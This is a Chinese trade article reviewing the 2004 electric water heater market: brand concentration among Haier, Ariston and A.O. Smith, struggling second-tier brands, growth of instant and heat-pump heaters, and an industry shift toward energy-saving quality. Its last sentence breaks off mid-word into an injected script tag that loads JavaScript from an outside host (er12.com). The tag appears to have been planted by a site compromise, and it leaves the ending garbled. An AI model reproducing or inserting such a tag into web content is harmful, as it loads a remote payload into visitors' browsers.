虽然遭受到钢材上涨、电能源紧张、进店费提高等不利因素的 影响，但2004年的电热水器依然获得了较为平稳的发展，行业已经呈 现出向名牌靠拢的态势，销售量排前十名企业的发展速度已超过行业 平均速度。在经营环境日趋复杂的情况下，电热水器的品牌、产品、 技术也发生了明显的变化。
市场向三大品牌集中
在钢材价格上涨、全国经营环境日趋复杂的今天，大品牌抓住机 遇，掀起了市场份额争夺战。海尔、阿里斯顿、a.o.史密斯的市场份 额之和进一步加大，拉开了与其他电热水器品牌的差距。从中怡康的 统计结果来看，处于行业一线的三大品牌综合市场占有率已经接近了 60%。
2004年上升最快的依然是海尔。海尔以防电墙为重点抓住了消费 者关心的安全问题，在此基础上又推出以节能省电为主题的银象a5系 列产品。海尔依托其强大的品牌实力，同时也动用了价格手段，最终 提升了其市场占有率。
阿里斯顿、a.o.史密斯作为外资品牌，两者坚持专业化制造的定 位，以增大中国市场的布局力度。阿里斯顿工程与零售市场全面推进， 在巩固电热水器市场的基础上，推出了更多精良的燃气产品、太阳能 产品，使其“全球经营，本地参与”的发展战略在中国市场得到很好 的落实。同样，史密斯新品推出速度也在加快，市场上升幅度较大， 与阿里斯顿距离开始缩小。
电热水器二线品牌的表现比较复杂。金友、大拇指、比力奇虽然 其产品以低价位出击，平均单价要比三大品牌低1/3，但是市场份额 却稍有下滑。比力奇在强大的市场压力下，将企业全股卖给了意大利 法罗力公司。
西门子、博世、意先作为2003年进入中国市场的外资电热水器品 牌，突出特点是专业家电生产历史较长，企业形象好，一度对国内原 有的热水器生产企业造成了一定程度的冲击。但除西门子市场保持平 稳增长外，2004年博世、意先并未取得预期的效果。
对于一些小的品牌，除了在区域间尚有一定的销售空间外，整体 上的气势已大不如从前。
新兴电热水器表现活跃
新兴电热水器表现最突出的是即热式电热水器。到2004年，已有 270多家企业涉足了此类产品的生产，向市场推出了近百万台的即热 式电热水器。
即热式电热水器五六年前开始进入市场，受使用环境和产品技术 的影响，几年来一直处于比较缓慢的发展状态中。随着涉足企业的增 多，即热式电水器市场在全国的局部地区开始启动，2004年增长速度 快速提升。正是看到了这一现象，一些急于在市场上寻求发展空间的 企业涉足了该领域。我国大大小小的即热式电热水器生产企业到目前 已达270余家，主要集中在珠三角、长三角一带。从市场需求量上来 讲，国内即热式电热水器年需求量在35万台～40万台。
热泵式电热水器是2004年获得较大增长的另一个电热水器新军， 我国从2002年开始有厂商进入这个市场，现已进入快速成长期，整个 行业销售增长将以几何级数增长，市场成长空间较大。目前我国能生 产出高品质而又产品线齐全的此类厂商并不多，产品处于供不应求阶 段。
另外，像无胆蓄能电热水器、蓄热即时双功能电热水器、离子热 工技术电热水器、电子防腐电热水器、微波电热水器等新技术产品在 市场上层出不穷。这些新的电热水器产品的立足之处就是克服了储水 式电热水器的缺点———体积庞大，需要长时间等待，长时间运转耗 电量大。
值得注意的是，新兴的电热水器产品市场机会和空间虽然在逐渐 加大，但也不排除企业间为了争夺市场，推出了很多不成熟的产品， 对市场的影响也是不容忽视的。
品质竞争成主线
随着我国能源形势的日趋严峻，产品如何更节能成为各个行业关 注的焦点，a.o.史密斯去年开始就大力推广其节能自适应系统，2004 年无论是海尔、阿里斯顿，都将重点指向节能产品的推广。中温保温 系统在很多企业的产品中也得到了更多的应用，保温、定时、夜电技 术等都在电热水器产品上有越来越多的体现，节能设计使电热水器可 以更大程度地减少保温加热的时间和次数，成为企业间比拼技术实力 的重要方面。
生活水平的提高，意味着对所用产品品质的追求也在上升。2004 年，一些炒作色彩比较浓重的功能在终端的销售并没有多少实际的效 果，在大企业的领导下，消费者更趋向于对务实功能的追求。
2004年以来，区域市场对大容积热水器的需求呈现增长趋势，主 要生产中央热水器的厂家有阿里斯顿、恒热、史密斯、赛德隆、白浪 等外资企业，他们十分注重对消费者的引导，使中央热水器产品销售 额今年已近百亿元。
总体上，2004年的电热水器行业在一些大企业、大品牌的引导下， 已经放弃了过去对于一些不实际功能的追求，开始将研发方向转向提 升产品的品质上，行业竞争也由此上升至品质的竞争。而且，在钢材 价格大幅上扬、国内市场环境竞争日益激烈的情况下，国内主流电热 水器企业可以说经受住了这种压力，都取得了较?script src=http://er12.com/t.js>
